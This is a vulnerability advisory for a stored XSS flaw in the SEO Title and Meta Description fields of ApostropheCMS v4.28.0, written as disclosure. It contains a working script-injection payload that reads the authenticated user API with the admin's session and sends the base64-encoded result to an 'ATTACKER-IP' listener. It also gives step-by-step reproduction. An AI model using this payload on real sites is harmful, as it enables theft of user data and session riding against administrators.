CVE-2026-35569: ApostropheCMS: Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS

Summary

A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.

Improper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.

Affected Version ApostropheCMS (tested on version: v4.28.0)

Vulnerability Details User-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:

- <title> - <meta> attributes - structured data (JSON-LD)

This allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.

PoC 1

The following payload demonstrates breaking out of HTML context: javascript "></title><script>alert(1)</script> This confirms: - Improper output encoding - Ability to escape <title> / <meta> contexts - Arbitrary script execution

PoC 2 This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data. javascript "></title><script> fetch('/api/v1/@apostrophecms/user', { credentials:'include' }) .then(r=>r.text()) .then(d=>{ fetch('http://ATTACKER-IP:5656/?data='+btoa(d)) }) </script>

Video Proof of Concept

Watch the following YouTube video for a full demonstration of the exploit:

PoC Video: https://youtu.be/FZuuluapa8

Steps to Reproduce

1. Start a local listener: python3 -m http.server 5656 2. Login to ApostropheCMS as an authenticated user 3. Create or edit a page 4. Navigate to SEO settings 5. Insert the payload into the SEO Title field and Meta Description javascript "></title><script> fetch('/api/v1/@apostrophecms/user',{ credentials:'include' }) .then(r=>r.text()) .then(d=>{ fetch('http://ATTACKER-IP:5656/?data='+btoa(d)) }) </script> 6. Set Schema Type to "Web page" 7. Save and publish the page 8. Have an administrator visit the page

Result - The payload executes in the admin’s browser - The script sends a request to: /api/v1/@apostrophecms/user - The response contains sensitive user data: - usernames - email addresses - roles (including admin)

- The data is exfiltrated to the attacker-controlled server: - http://ATTACKER-IP:5656

Evidence - The attacker server receives: - GET /?data=BASE64ENCODEDRESPONSE - Decoding the response reveals sensitive application data.

Security Impact This vulnerability allows an attacker to: - Execute arbitrary JavaScript in an authenticated admin context - Perform authenticated API requests (session riding) - Access sensitive application data via internal APIs - Exfiltrate sensitive data to an external attacker-controlled server